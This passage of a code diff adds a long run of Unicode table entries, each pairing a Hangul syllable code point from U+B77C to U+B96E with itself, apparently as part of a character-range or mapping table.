+ ["\uB77C", "\uB77C"], /* Hangul Syllable */
+ ["\uB77D", "\uB77D"], /* Hangul Syllable */
+ ["\uB77E", "\uB77E"], /* Hangul Syllable */
+ ["\uB77F", "\uB77F"], /* Hangul Syllable */
+ ["\uB780", "\uB780"], /* Hangul Syllable */
+ ["\uB781", "\uB781"], /* Hangul Syllable */
+ ["\uB782", "\uB782"], /* Hangul Syllable */
+ ["\uB783", "\uB783"], /* Hangul Syllable */
+ ["\uB784", "\uB784"], /* Hangul Syllable */
+ ["\uB785", "\uB785"], /* Hangul Syllable */
+ ["\uB786", "\uB786"], /* Hangul Syllable */
+ ["\uB787", "\uB787"], /* Hangul Syllable */
+ ["\uB788", "\uB788"], /* Hangul Syllable */
+ ["\uB789", "\uB789"], /* Hangul Syllable */
+ ["\uB78A", "\uB78A"], /* Hangul Syllable */
+ ["\uB78B", "\uB78B"], /* Hangul Syllable */
+ ["\uB78C", "\uB78C"], /* Hangul Syllable */
+ ["\uB78D", "\uB78D"], /* Hangul Syllable */
+ ["\uB78E", "\uB78E"], /* Hangul Syllable */
+ ["\uB78F", "\uB78F"], /* Hangul Syllable */
+ ["\uB790", "\uB790"], /* Hangul Syllable */
+ ["\uB791", "\uB791"], /* Hangul Syllable */
+ ["\uB792", "\uB792"], /* Hangul Syllable */
+ ["\uB793", "\uB793"], /* Hangul Syllable */
+ ["\uB794", "\uB794"], /* Hangul Syllable */
+ ["\uB795", "\uB795"], /* Hangul Syllable */
+ ["\uB796", "\uB796"], /* Hangul Syllable */
+ ["\uB797", "\uB797"], /* Hangul Syllable */
+ ["\uB798", "\uB798"], /* Hangul Syllable */
+ ["\uB799", "\uB799"], /* Hangul Syllable */
+ ["\uB79A", "\uB79A"], /* Hangul Syllable */
+ ["\uB79B", "\uB79B"], /* Hangul Syllable */
+ ["\uB79C", "\uB79C"], /* Hangul Syllable */
+ ["\uB79D", "\uB79D"], /* Hangul Syllable */
+ ["\uB79E", "\uB79E"], /* Hangul Syllable */
+ ["\uB79F", "\uB79F"], /* Hangul Syllable */
+ ["\uB7A0", "\uB7A0"], /* Hangul Syllable */
+ ["\uB7A1", "\uB7A1"], /* Hangul Syllable */
+ ["\uB7A2", "\uB7A2"], /* Hangul Syllable */
+ ["\uB7A3", "\uB7A3"], /* Hangul Syllable */
+ ["\uB7A4", "\uB7A4"], /* Hangul Syllable */
+ ["\uB7A5", "\uB7A5"], /* Hangul Syllable */
+ ["\uB7A6", "\uB7A6"], /* Hangul Syllable */
+ ["\uB7A7", "\uB7A7"], /* Hangul Syllable */
+ ["\uB7A8", "\uB7A8"], /* Hangul Syllable */
+ ["\uB7A9", "\uB7A9"], /* Hangul Syllable */
+ ["\uB7AA", "\uB7AA"], /* Hangul Syllable */
+ ["\uB7AB", "\uB7AB"], /* Hangul Syllable */
+ ["\uB7AC", "\uB7AC"], /* Hangul Syllable */
+ ["\uB7AD", "\uB7AD"], /* Hangul Syllable */
+ ["\uB7AE", "\uB7AE"], /* Hangul Syllable */
+ ["\uB7AF", "\uB7AF"], /* Hangul Syllable */
+ ["\uB7B0", "\uB7B0"], /* Hangul Syllable */
+ ["\uB7B1", "\uB7B1"], /* Hangul Syllable */
+ ["\uB7B2", "\uB7B2"], /* Hangul Syllable */
+ ["\uB7B3", "\uB7B3"], /* Hangul Syllable */
+ ["\uB7B4", "\uB7B4"], /* Hangul Syllable */
+ ["\uB7B5", "\uB7B5"], /* Hangul Syllable */
+ ["\uB7B6", "\uB7B6"], /* Hangul Syllable */
+ ["\uB7B7", "\uB7B7"], /* Hangul Syllable */
+ ["\uB7B8", "\uB7B8"], /* Hangul Syllable */
+ ["\uB7B9", "\uB7B9"], /* Hangul Syllable */
+ ["\uB7BA", "\uB7BA"], /* Hangul Syllable */
+ ["\uB7BB", "\uB7BB"], /* Hangul Syllable */
+ ["\uB7BC", "\uB7BC"], /* Hangul Syllable */
+ ["\uB7BD", "\uB7BD"], /* Hangul Syllable */
+ ["\uB7BE", "\uB7BE"], /* Hangul Syllable */
+ ["\uB7BF", "\uB7BF"], /* Hangul Syllable */
+ ["\uB7C0", "\uB7C0"], /* Hangul Syllable */
+ ["\uB7C1", "\uB7C1"], /* Hangul Syllable */
+ ["\uB7C2", "\uB7C2"], /* Hangul Syllable */
+ ["\uB7C3", "\uB7C3"], /* Hangul Syllable */
+ ["\uB7C4", "\uB7C4"], /* Hangul Syllable */
+ ["\uB7C5", "\uB7C5"], /* Hangul Syllable */
+ ["\uB7C6", "\uB7C6"], /* Hangul Syllable */
+ ["\uB7C7", "\uB7C7"], /* Hangul Syllable */
+ ["\uB7C8", "\uB7C8"], /* Hangul Syllable */
+ ["\uB7C9", "\uB7C9"], /* Hangul Syllable */
+ ["\uB7CA", "\uB7CA"], /* Hangul Syllable */
+ ["\uB7CB", "\uB7CB"], /* Hangul Syllable */
+ ["\uB7CC", "\uB7CC"], /* Hangul Syllable */
+ ["\uB7CD", "\uB7CD"], /* Hangul Syllable */
+ ["\uB7CE", "\uB7CE"], /* Hangul Syllable */
+ ["\uB7CF", "\uB7CF"], /* Hangul Syllable */
+ ["\uB7D0", "\uB7D0"], /* Hangul Syllable */
+ ["\uB7D1", "\uB7D1"], /* Hangul Syllable */
+ ["\uB7D2", "\uB7D2"], /* Hangul Syllable */
+ ["\uB7D3", "\uB7D3"], /* Hangul Syllable */
+ ["\uB7D4", "\uB7D4"], /* Hangul Syllable */
+ ["\uB7D5", "\uB7D5"], /* Hangul Syllable */
+ ["\uB7D6", "\uB7D6"], /* Hangul Syllable */
+ ["\uB7D7", "\uB7D7"], /* Hangul Syllable */
+ ["\uB7D8", "\uB7D8"], /* Hangul Syllable */
+ ["\uB7D9", "\uB7D9"], /* Hangul Syllable */
+ ["\uB7DA", "\uB7DA"], /* Hangul Syllable */
+ ["\uB7DB", "\uB7DB"], /* Hangul Syllable */
+ ["\uB7DC", "\uB7DC"], /* Hangul Syllable */
+ ["\uB7DD", "\uB7DD"], /* Hangul Syllable */
+ ["\uB7DE", "\uB7DE"], /* Hangul Syllable */
+ ["\uB7DF", "\uB7DF"], /* Hangul Syllable */
+ ["\uB7E0", "\uB7E0"], /* Hangul Syllable */
+ ["\uB7E1", "\uB7E1"], /* Hangul Syllable */
+ ["\uB7E2", "\uB7E2"], /* Hangul Syllable */
+ ["\uB7E3", "\uB7E3"], /* Hangul Syllable */
+ ["\uB7E4", "\uB7E4"], /* Hangul Syllable */
+ ["\uB7E5", "\uB7E5"], /* Hangul Syllable */
+ ["\uB7E6", "\uB7E6"], /* Hangul Syllable */
+ ["\uB7E7", "\uB7E7"], /* Hangul Syllable */
+ ["\uB7E8", "\uB7E8"], /* Hangul Syllable */
+ ["\uB7E9", "\uB7E9"], /* Hangul Syllable */
+ ["\uB7EA", "\uB7EA"], /* Hangul Syllable */
+ ["\uB7EB", "\uB7EB"], /* Hangul Syllable */
+ ["\uB7EC", "\uB7EC"], /* Hangul Syllable */
+ ["\uB7ED", "\uB7ED"], /* Hangul Syllable */
+ ["\uB7EE", "\uB7EE"], /* Hangul Syllable */
+ ["\uB7EF", "\uB7EF"], /* Hangul Syllable */
+ ["\uB7F0", "\uB7F0"], /* Hangul Syllable */
+ ["\uB7F1", "\uB7F1"], /* Hangul Syllable */
+ ["\uB7F2", "\uB7F2"], /* Hangul Syllable */
+ ["\uB7F3", "\uB7F3"], /* Hangul Syllable */
+ ["\uB7F4", "\uB7F4"], /* Hangul Syllable */
+ ["\uB7F5", "\uB7F5"], /* Hangul Syllable */
+ ["\uB7F6", "\uB7F6"], /* Hangul Syllable */
+ ["\uB7F7", "\uB7F7"], /* Hangul Syllable */
+ ["\uB7F8", "\uB7F8"], /* Hangul Syllable */
+ ["\uB7F9", "\uB7F9"], /* Hangul Syllable */
+ ["\uB7FA", "\uB7FA"], /* Hangul Syllable */
+ ["\uB7FB", "\uB7FB"], /* Hangul Syllable */
+ ["\uB7FC", "\uB7FC"], /* Hangul Syllable */
+ ["\uB7FD", "\uB7FD"], /* Hangul Syllable */
+ ["\uB7FE", "\uB7FE"], /* Hangul Syllable */
+ ["\uB7FF", "\uB7FF"], /* Hangul Syllable */
+ ["\uB800", "\uB800"], /* Hangul Syllable */
+ ["\uB801", "\uB801"], /* Hangul Syllable */
+ ["\uB802", "\uB802"], /* Hangul Syllable */
+ ["\uB803", "\uB803"], /* Hangul Syllable */
+ ["\uB804", "\uB804"], /* Hangul Syllable */
+ ["\uB805", "\uB805"], /* Hangul Syllable */
+ ["\uB806", "\uB806"], /* Hangul Syllable */
+ ["\uB807", "\uB807"], /* Hangul Syllable */
+ ["\uB808", "\uB808"], /* Hangul Syllable */
+ ["\uB809", "\uB809"], /* Hangul Syllable */
+ ["\uB80A", "\uB80A"], /* Hangul Syllable */
+ ["\uB80B", "\uB80B"], /* Hangul Syllable */
+ ["\uB80C", "\uB80C"], /* Hangul Syllable */
+ ["\uB80D", "\uB80D"], /* Hangul Syllable */
+ ["\uB80E", "\uB80E"], /* Hangul Syllable */
+ ["\uB80F", "\uB80F"], /* Hangul Syllable */
+ ["\uB810", "\uB810"], /* Hangul Syllable */
+ ["\uB811", "\uB811"], /* Hangul Syllable */
+ ["\uB812", "\uB812"], /* Hangul Syllable */
+ ["\uB813", "\uB813"], /* Hangul Syllable */
+ ["\uB814", "\uB814"], /* Hangul Syllable */
+ ["\uB815", "\uB815"], /* Hangul Syllable */
+ ["\uB816", "\uB816"], /* Hangul Syllable */
+ ["\uB817", "\uB817"], /* Hangul Syllable */
+ ["\uB818", "\uB818"], /* Hangul Syllable */
+ ["\uB819", "\uB819"], /* Hangul Syllable */
+ ["\uB81A", "\uB81A"], /* Hangul Syllable */
+ ["\uB81B", "\uB81B"], /* Hangul Syllable */
+ ["\uB81C", "\uB81C"], /* Hangul Syllable */
+ ["\uB81D", "\uB81D"], /* Hangul Syllable */
+ ["\uB81E", "\uB81E"], /* Hangul Syllable */
+ ["\uB81F", "\uB81F"], /* Hangul Syllable */
+ ["\uB820", "\uB820"], /* Hangul Syllable */
+ ["\uB821", "\uB821"], /* Hangul Syllable */
+ ["\uB822", "\uB822"], /* Hangul Syllable */
+ ["\uB823", "\uB823"], /* Hangul Syllable */
+ ["\uB824", "\uB824"], /* Hangul Syllable */
+ ["\uB825", "\uB825"], /* Hangul Syllable */
+ ["\uB826", "\uB826"], /* Hangul Syllable */
+ ["\uB827", "\uB827"], /* Hangul Syllable */
+ ["\uB828", "\uB828"], /* Hangul Syllable */
+ ["\uB829", "\uB829"], /* Hangul Syllable */
+ ["\uB82A", "\uB82A"], /* Hangul Syllable */
+ ["\uB82B", "\uB82B"], /* Hangul Syllable */
+ ["\uB82C", "\uB82C"], /* Hangul Syllable */
+ ["\uB82D", "\uB82D"], /* Hangul Syllable */
+ ["\uB82E", "\uB82E"], /* Hangul Syllable */
+ ["\uB82F", "\uB82F"], /* Hangul Syllable */
+ ["\uB830", "\uB830"], /* Hangul Syllable */
+ ["\uB831", "\uB831"], /* Hangul Syllable */
+ ["\uB832", "\uB832"], /* Hangul Syllable */
+ ["\uB833", "\uB833"], /* Hangul Syllable */
+ ["\uB834", "\uB834"], /* Hangul Syllable */
+ ["\uB835", "\uB835"], /* Hangul Syllable */
+ ["\uB836", "\uB836"], /* Hangul Syllable */
+ ["\uB837", "\uB837"], /* Hangul Syllable */
+ ["\uB838", "\uB838"], /* Hangul Syllable */
+ ["\uB839", "\uB839"], /* Hangul Syllable */
+ ["\uB83A", "\uB83A"], /* Hangul Syllable */
+ ["\uB83B", "\uB83B"], /* Hangul Syllable */
+ ["\uB83C", "\uB83C"], /* Hangul Syllable */
+ ["\uB83D", "\uB83D"], /* Hangul Syllable */
+ ["\uB83E", "\uB83E"], /* Hangul Syllable */
+ ["\uB83F", "\uB83F"], /* Hangul Syllable */
+ ["\uB840", "\uB840"], /* Hangul Syllable */
+ ["\uB841", "\uB841"], /* Hangul Syllable */
+ ["\uB842", "\uB842"], /* Hangul Syllable */
+ ["\uB843", "\uB843"], /* Hangul Syllable */
+ ["\uB844", "\uB844"], /* Hangul Syllable */
+ ["\uB845", "\uB845"], /* Hangul Syllable */
+ ["\uB846", "\uB846"], /* Hangul Syllable */
+ ["\uB847", "\uB847"], /* Hangul Syllable */
+ ["\uB848", "\uB848"], /* Hangul Syllable */
+ ["\uB849", "\uB849"], /* Hangul Syllable */
+ ["\uB84A", "\uB84A"], /* Hangul Syllable */
+ ["\uB84B", "\uB84B"], /* Hangul Syllable */
+ ["\uB84C", "\uB84C"], /* Hangul Syllable */
+ ["\uB84D", "\uB84D"], /* Hangul Syllable */
+ ["\uB84E", "\uB84E"], /* Hangul Syllable */
+ ["\uB84F", "\uB84F"], /* Hangul Syllable */
+ ["\uB850", "\uB850"], /* Hangul Syllable */
+ ["\uB851", "\uB851"], /* Hangul Syllable */
+ ["\uB852", "\uB852"], /* Hangul Syllable */
+ ["\uB853", "\uB853"], /* Hangul Syllable */
+ ["\uB854", "\uB854"], /* Hangul Syllable */
+ ["\uB855", "\uB855"], /* Hangul Syllable */
+ ["\uB856", "\uB856"], /* Hangul Syllable */
+ ["\uB857", "\uB857"], /* Hangul Syllable */
+ ["\uB858", "\uB858"], /* Hangul Syllable */
+ ["\uB859", "\uB859"], /* Hangul Syllable */
+ ["\uB85A", "\uB85A"], /* Hangul Syllable */
+ ["\uB85B", "\uB85B"], /* Hangul Syllable */
+ ["\uB85C", "\uB85C"], /* Hangul Syllable */
+ ["\uB85D", "\uB85D"], /* Hangul Syllable */
+ ["\uB85E", "\uB85E"], /* Hangul Syllable */
+ ["\uB85F", "\uB85F"], /* Hangul Syllable */
+ ["\uB860", "\uB860"], /* Hangul Syllable */
+ ["\uB861", "\uB861"], /* Hangul Syllable */
+ ["\uB862", "\uB862"], /* Hangul Syllable */
+ ["\uB863", "\uB863"], /* Hangul Syllable */
+ ["\uB864", "\uB864"], /* Hangul Syllable */
+ ["\uB865", "\uB865"], /* Hangul Syllable */
+ ["\uB866", "\uB866"], /* Hangul Syllable */
+ ["\uB867", "\uB867"], /* Hangul Syllable */
+ ["\uB868", "\uB868"], /* Hangul Syllable */
+ ["\uB869", "\uB869"], /* Hangul Syllable */
+ ["\uB86A", "\uB86A"], /* Hangul Syllable */
+ ["\uB86B", "\uB86B"], /* Hangul Syllable */
+ ["\uB86C", "\uB86C"], /* Hangul Syllable */
+ ["\uB86D", "\uB86D"], /* Hangul Syllable */
+ ["\uB86E", "\uB86E"], /* Hangul Syllable */
+ ["\uB86F", "\uB86F"], /* Hangul Syllable */
+ ["\uB870", "\uB870"], /* Hangul Syllable */
+ ["\uB871", "\uB871"], /* Hangul Syllable */
+ ["\uB872", "\uB872"], /* Hangul Syllable */
+ ["\uB873", "\uB873"], /* Hangul Syllable */
+ ["\uB874", "\uB874"], /* Hangul Syllable */
+ ["\uB875", "\uB875"], /* Hangul Syllable */
+ ["\uB876", "\uB876"], /* Hangul Syllable */
+ ["\uB877", "\uB877"], /* Hangul Syllable */
+ ["\uB878", "\uB878"], /* Hangul Syllable */
+ ["\uB879", "\uB879"], /* Hangul Syllable */
+ ["\uB87A", "\uB87A"], /* Hangul Syllable */
+ ["\uB87B", "\uB87B"], /* Hangul Syllable */
+ ["\uB87C", "\uB87C"], /* Hangul Syllable */
+ ["\uB87D", "\uB87D"], /* Hangul Syllable */
+ ["\uB87E", "\uB87E"], /* Hangul Syllable */
+ ["\uB87F", "\uB87F"], /* Hangul Syllable */
+ ["\uB880", "\uB880"], /* Hangul Syllable */
+ ["\uB881", "\uB881"], /* Hangul Syllable */
+ ["\uB882", "\uB882"], /* Hangul Syllable */
+ ["\uB883", "\uB883"], /* Hangul Syllable */
+ ["\uB884", "\uB884"], /* Hangul Syllable */
+ ["\uB885", "\uB885"], /* Hangul Syllable */
+ ["\uB886", "\uB886"], /* Hangul Syllable */
+ ["\uB887", "\uB887"], /* Hangul Syllable */
+ ["\uB888", "\uB888"], /* Hangul Syllable */
+ ["\uB889", "\uB889"], /* Hangul Syllable */
+ ["\uB88A", "\uB88A"], /* Hangul Syllable */
+ ["\uB88B", "\uB88B"], /* Hangul Syllable */
+ ["\uB88C", "\uB88C"], /* Hangul Syllable */
+ ["\uB88D", "\uB88D"], /* Hangul Syllable */
+ ["\uB88E", "\uB88E"], /* Hangul Syllable */
+ ["\uB88F", "\uB88F"], /* Hangul Syllable */
+ ["\uB890", "\uB890"], /* Hangul Syllable */
+ ["\uB891", "\uB891"], /* Hangul Syllable */
+ ["\uB892", "\uB892"], /* Hangul Syllable */
+ ["\uB893", "\uB893"], /* Hangul Syllable */
+ ["\uB894", "\uB894"], /* Hangul Syllable */
+ ["\uB895", "\uB895"], /* Hangul Syllable */
+ ["\uB896", "\uB896"], /* Hangul Syllable */
+ ["\uB897", "\uB897"], /* Hangul Syllable */
+ ["\uB898", "\uB898"], /* Hangul Syllable */
+ ["\uB899", "\uB899"], /* Hangul Syllable */
+ ["\uB89A", "\uB89A"], /* Hangul Syllable */
+ ["\uB89B", "\uB89B"], /* Hangul Syllable */
+ ["\uB89C", "\uB89C"], /* Hangul Syllable */
+ ["\uB89D", "\uB89D"], /* Hangul Syllable */
+ ["\uB89E", "\uB89E"], /* Hangul Syllable */
+ ["\uB89F", "\uB89F"], /* Hangul Syllable */
+ ["\uB8A0", "\uB8A0"], /* Hangul Syllable */
+ ["\uB8A1", "\uB8A1"], /* Hangul Syllable */
+ ["\uB8A2", "\uB8A2"], /* Hangul Syllable */
+ ["\uB8A3", "\uB8A3"], /* Hangul Syllable */
+ ["\uB8A4", "\uB8A4"], /* Hangul Syllable */
+ ["\uB8A5", "\uB8A5"], /* Hangul Syllable */
+ ["\uB8A6", "\uB8A6"], /* Hangul Syllable */
+ ["\uB8A7", "\uB8A7"], /* Hangul Syllable */
+ ["\uB8A8", "\uB8A8"], /* Hangul Syllable */
+ ["\uB8A9", "\uB8A9"], /* Hangul Syllable */
+ ["\uB8AA", "\uB8AA"], /* Hangul Syllable */
+ ["\uB8AB", "\uB8AB"], /* Hangul Syllable */
+ ["\uB8AC", "\uB8AC"], /* Hangul Syllable */
+ ["\uB8AD", "\uB8AD"], /* Hangul Syllable */
+ ["\uB8AE", "\uB8AE"], /* Hangul Syllable */
+ ["\uB8AF", "\uB8AF"], /* Hangul Syllable */
+ ["\uB8B0", "\uB8B0"], /* Hangul Syllable */
+ ["\uB8B1", "\uB8B1"], /* Hangul Syllable */
+ ["\uB8B2", "\uB8B2"], /* Hangul Syllable */
+ ["\uB8B3", "\uB8B3"], /* Hangul Syllable */
+ ["\uB8B4", "\uB8B4"], /* Hangul Syllable */
+ ["\uB8B5", "\uB8B5"], /* Hangul Syllable */
+ ["\uB8B6", "\uB8B6"], /* Hangul Syllable */
+ ["\uB8B7", "\uB8B7"], /* Hangul Syllable */
+ ["\uB8B8", "\uB8B8"], /* Hangul Syllable */
+ ["\uB8B9", "\uB8B9"], /* Hangul Syllable */
+ ["\uB8BA", "\uB8BA"], /* Hangul Syllable */
+ ["\uB8BB", "\uB8BB"], /* Hangul Syllable */
+ ["\uB8BC", "\uB8BC"], /* Hangul Syllable */
+ ["\uB8BD", "\uB8BD"], /* Hangul Syllable */
+ ["\uB8BE", "\uB8BE"], /* Hangul Syllable */
+ ["\uB8BF", "\uB8BF"], /* Hangul Syllable */
+ ["\uB8C0", "\uB8C0"], /* Hangul Syllable */
+ ["\uB8C1", "\uB8C1"], /* Hangul Syllable */
+ ["\uB8C2", "\uB8C2"], /* Hangul Syllable */
+ ["\uB8C3", "\uB8C3"], /* Hangul Syllable */
+ ["\uB8C4", "\uB8C4"], /* Hangul Syllable */
+ ["\uB8C5", "\uB8C5"], /* Hangul Syllable */
+ ["\uB8C6", "\uB8C6"], /* Hangul Syllable */
+ ["\uB8C7", "\uB8C7"], /* Hangul Syllable */
+ ["\uB8C8", "\uB8C8"], /* Hangul Syllable */
+ ["\uB8C9", "\uB8C9"], /* Hangul Syllable */
+ ["\uB8CA", "\uB8CA"], /* Hangul Syllable */
+ ["\uB8CB", "\uB8CB"], /* Hangul Syllable */
+ ["\uB8CC", "\uB8CC"], /* Hangul Syllable */
+ ["\uB8CD", "\uB8CD"], /* Hangul Syllable */
+ ["\uB8CE", "\uB8CE"], /* Hangul Syllable */
+ ["\uB8CF", "\uB8CF"], /* Hangul Syllable */
+ ["\uB8D0", "\uB8D0"], /* Hangul Syllable */
+ ["\uB8D1", "\uB8D1"], /* Hangul Syllable */
+ ["\uB8D2", "\uB8D2"], /* Hangul Syllable */
+ ["\uB8D3", "\uB8D3"], /* Hangul Syllable */
+ ["\uB8D4", "\uB8D4"], /* Hangul Syllable */
+ ["\uB8D5", "\uB8D5"], /* Hangul Syllable */
+ ["\uB8D6", "\uB8D6"], /* Hangul Syllable */
+ ["\uB8D7", "\uB8D7"], /* Hangul Syllable */
+ ["\uB8D8", "\uB8D8"], /* Hangul Syllable */
+ ["\uB8D9", "\uB8D9"], /* Hangul Syllable */
+ ["\uB8DA", "\uB8DA"], /* Hangul Syllable */
+ ["\uB8DB", "\uB8DB"], /* Hangul Syllable */
+ ["\uB8DC", "\uB8DC"], /* Hangul Syllable */
+ ["\uB8DD", "\uB8DD"], /* Hangul Syllable */
+ ["\uB8DE", "\uB8DE"], /* Hangul Syllable */
+ ["\uB8DF", "\uB8DF"], /* Hangul Syllable */
+ ["\uB8E0", "\uB8E0"], /* Hangul Syllable */
+ ["\uB8E1", "\uB8E1"], /* Hangul Syllable */
+ ["\uB8E2", "\uB8E2"], /* Hangul Syllable */
+ ["\uB8E3", "\uB8E3"], /* Hangul Syllable */
+ ["\uB8E4", "\uB8E4"], /* Hangul Syllable */
+ ["\uB8E5", "\uB8E5"], /* Hangul Syllable */
+ ["\uB8E6", "\uB8E6"], /* Hangul Syllable */
+ ["\uB8E7", "\uB8E7"], /* Hangul Syllable */
+ ["\uB8E8", "\uB8E8"], /* Hangul Syllable */
+ ["\uB8E9", "\uB8E9"], /* Hangul Syllable */
+ ["\uB8EA", "\uB8EA"], /* Hangul Syllable */
+ ["\uB8EB", "\uB8EB"], /* Hangul Syllable */
+ ["\uB8EC", "\uB8EC"], /* Hangul Syllable */
+ ["\uB8ED", "\uB8ED"], /* Hangul Syllable */
+ ["\uB8EE", "\uB8EE"], /* Hangul Syllable */
+ ["\uB8EF", "\uB8EF"], /* Hangul Syllable */
+ ["\uB8F0", "\uB8F0"], /* Hangul Syllable */
+ ["\uB8F1", "\uB8F1"], /* Hangul Syllable */
+ ["\uB8F2", "\uB8F2"], /* Hangul Syllable */
+ ["\uB8F3", "\uB8F3"], /* Hangul Syllable */
+ ["\uB8F4", "\uB8F4"], /* Hangul Syllable */
+ ["\uB8F5", "\uB8F5"], /* Hangul Syllable */
+ ["\uB8F6", "\uB8F6"], /* Hangul Syllable */
+ ["\uB8F7", "\uB8F7"], /* Hangul Syllable */
+ ["\uB8F8", "\uB8F8"], /* Hangul Syllable */
+ ["\uB8F9", "\uB8F9"], /* Hangul Syllable */
+ ["\uB8FA", "\uB8FA"], /* Hangul Syllable */
+ ["\uB8FB", "\uB8FB"], /* Hangul Syllable */
+ ["\uB8FC", "\uB8FC"], /* Hangul Syllable */
+ ["\uB8FD", "\uB8FD"], /* Hangul Syllable */
+ ["\uB8FE", "\uB8FE"], /* Hangul Syllable */
+ ["\uB8FF", "\uB8FF"], /* Hangul Syllable */
+ ["\uB900", "\uB900"], /* Hangul Syllable */
+ ["\uB901", "\uB901"], /* Hangul Syllable */
+ ["\uB902", "\uB902"], /* Hangul Syllable */
+ ["\uB903", "\uB903"], /* Hangul Syllable */
+ ["\uB904", "\uB904"], /* Hangul Syllable */
+ ["\uB905", "\uB905"], /* Hangul Syllable */
+ ["\uB906", "\uB906"], /* Hangul Syllable */
+ ["\uB907", "\uB907"], /* Hangul Syllable */
+ ["\uB908", "\uB908"], /* Hangul Syllable */
+ ["\uB909", "\uB909"], /* Hangul Syllable */
+ ["\uB90A", "\uB90A"], /* Hangul Syllable */
+ ["\uB90B", "\uB90B"], /* Hangul Syllable */
+ ["\uB90C", "\uB90C"], /* Hangul Syllable */
+ ["\uB90D", "\uB90D"], /* Hangul Syllable */
+ ["\uB90E", "\uB90E"], /* Hangul Syllable */
+ ["\uB90F", "\uB90F"], /* Hangul Syllable */
+ ["\uB910", "\uB910"], /* Hangul Syllable */
+ ["\uB911", "\uB911"], /* Hangul Syllable */
+ ["\uB912", "\uB912"], /* Hangul Syllable */
+ ["\uB913", "\uB913"], /* Hangul Syllable */
+ ["\uB914", "\uB914"], /* Hangul Syllable */
+ ["\uB915", "\uB915"], /* Hangul Syllable */
+ ["\uB916", "\uB916"], /* Hangul Syllable */
+ ["\uB917", "\uB917"], /* Hangul Syllable */
+ ["\uB918", "\uB918"], /* Hangul Syllable */
+ ["\uB919", "\uB919"], /* Hangul Syllable */
+ ["\uB91A", "\uB91A"], /* Hangul Syllable */
+ ["\uB91B", "\uB91B"], /* Hangul Syllable */
+ ["\uB91C", "\uB91C"], /* Hangul Syllable */
+ ["\uB91D", "\uB91D"], /* Hangul Syllable */
+ ["\uB91E", "\uB91E"], /* Hangul Syllable */
+ ["\uB91F", "\uB91F"], /* Hangul Syllable */
+ ["\uB920", "\uB920"], /* Hangul Syllable */
+ ["\uB921", "\uB921"], /* Hangul Syllable */
+ ["\uB922", "\uB922"], /* Hangul Syllable */
+ ["\uB923", "\uB923"], /* Hangul Syllable */
+ ["\uB924", "\uB924"], /* Hangul Syllable */
+ ["\uB925", "\uB925"], /* Hangul Syllable */
+ ["\uB926", "\uB926"], /* Hangul Syllable */
+ ["\uB927", "\uB927"], /* Hangul Syllable */
+ ["\uB928", "\uB928"], /* Hangul Syllable */
+ ["\uB929", "\uB929"], /* Hangul Syllable */
+ ["\uB92A", "\uB92A"], /* Hangul Syllable */
+ ["\uB92B", "\uB92B"], /* Hangul Syllable */
+ ["\uB92C", "\uB92C"], /* Hangul Syllable */
+ ["\uB92D", "\uB92D"], /* Hangul Syllable */
+ ["\uB92E", "\uB92E"], /* Hangul Syllable */
+ ["\uB92F", "\uB92F"], /* Hangul Syllable */
+ ["\uB930", "\uB930"], /* Hangul Syllable */
+ ["\uB931", "\uB931"], /* Hangul Syllable */
+ ["\uB932", "\uB932"], /* Hangul Syllable */
+ ["\uB933", "\uB933"], /* Hangul Syllable */
+ ["\uB934", "\uB934"], /* Hangul Syllable */
+ ["\uB935", "\uB935"], /* Hangul Syllable */
+ ["\uB936", "\uB936"], /* Hangul Syllable */
+ ["\uB937", "\uB937"], /* Hangul Syllable */
+ ["\uB938", "\uB938"], /* Hangul Syllable */
+ ["\uB939", "\uB939"], /* Hangul Syllable */
+ ["\uB93A", "\uB93A"], /* Hangul Syllable */
+ ["\uB93B", "\uB93B"], /* Hangul Syllable */
+ ["\uB93C", "\uB93C"], /* Hangul Syllable */
+ ["\uB93D", "\uB93D"], /* Hangul Syllable */
+ ["\uB93E", "\uB93E"], /* Hangul Syllable */
+ ["\uB93F", "\uB93F"], /* Hangul Syllable */
+ ["\uB940", "\uB940"], /* Hangul Syllable */
+ ["\uB941", "\uB941"], /* Hangul Syllable */
+ ["\uB942", "\uB942"], /* Hangul Syllable */
+ ["\uB943", "\uB943"], /* Hangul Syllable */
+ ["\uB944", "\uB944"], /* Hangul Syllable */
+ ["\uB945", "\uB945"], /* Hangul Syllable */
+ ["\uB946", "\uB946"], /* Hangul Syllable */
+ ["\uB947", "\uB947"], /* Hangul Syllable */
+ ["\uB948", "\uB948"], /* Hangul Syllable */
+ ["\uB949", "\uB949"], /* Hangul Syllable */
+ ["\uB94A", "\uB94A"], /* Hangul Syllable */
+ ["\uB94B", "\uB94B"], /* Hangul Syllable */
+ ["\uB94C", "\uB94C"], /* Hangul Syllable */
+ ["\uB94D", "\uB94D"], /* Hangul Syllable */
+ ["\uB94E", "\uB94E"], /* Hangul Syllable */
+ ["\uB94F", "\uB94F"], /* Hangul Syllable */
+ ["\uB950", "\uB950"], /* Hangul Syllable */
+ ["\uB951", "\uB951"], /* Hangul Syllable */
+ ["\uB952", "\uB952"], /* Hangul Syllable */
+ ["\uB953", "\uB953"], /* Hangul Syllable */
+ ["\uB954", "\uB954"], /* Hangul Syllable */
+ ["\uB955", "\uB955"], /* Hangul Syllable */
+ ["\uB956", "\uB956"], /* Hangul Syllable */
+ ["\uB957", "\uB957"], /* Hangul Syllable */
+ ["\uB958", "\uB958"], /* Hangul Syllable */
+ ["\uB959", "\uB959"], /* Hangul Syllable */
+ ["\uB95A", "\uB95A"], /* Hangul Syllable */
+ ["\uB95B", "\uB95B"], /* Hangul Syllable */
+ ["\uB95C", "\uB95C"], /* Hangul Syllable */
+ ["\uB95D", "\uB95D"], /* Hangul Syllable */
+ ["\uB95E", "\uB95E"], /* Hangul Syllable */
+ ["\uB95F", "\uB95F"], /* Hangul Syllable */
+ ["\uB960", "\uB960"], /* Hangul Syllable */
+ ["\uB961", "\uB961"], /* Hangul Syllable */
+ ["\uB962", "\uB962"], /* Hangul Syllable */
+ ["\uB963", "\uB963"], /* Hangul Syllable */
+ ["\uB964", "\uB964"], /* Hangul Syllable */
+ ["\uB965", "\uB965"], /* Hangul Syllable */
+ ["\uB966", "\uB966"], /* Hangul Syllable */
+ ["\uB967", "\uB967"], /* Hangul Syllable */
+ ["\uB968", "\uB968"], /* Hangul Syllable */
+ ["\uB969", "\uB969"], /* Hangul Syllable */
+ ["\uB96A", "\uB96A"], /* Hangul Syllable */
+ ["\uB96B", "\uB96B"], /* Hangul Syllable */
+ ["\uB96C", "\uB96C"], /* Hangul Syllable */
+ ["\uB96D", "\uB96D"], /* Hangul Syllable */
+ ["\uB96E", "\uB96E"], /* Hangul Syllable */
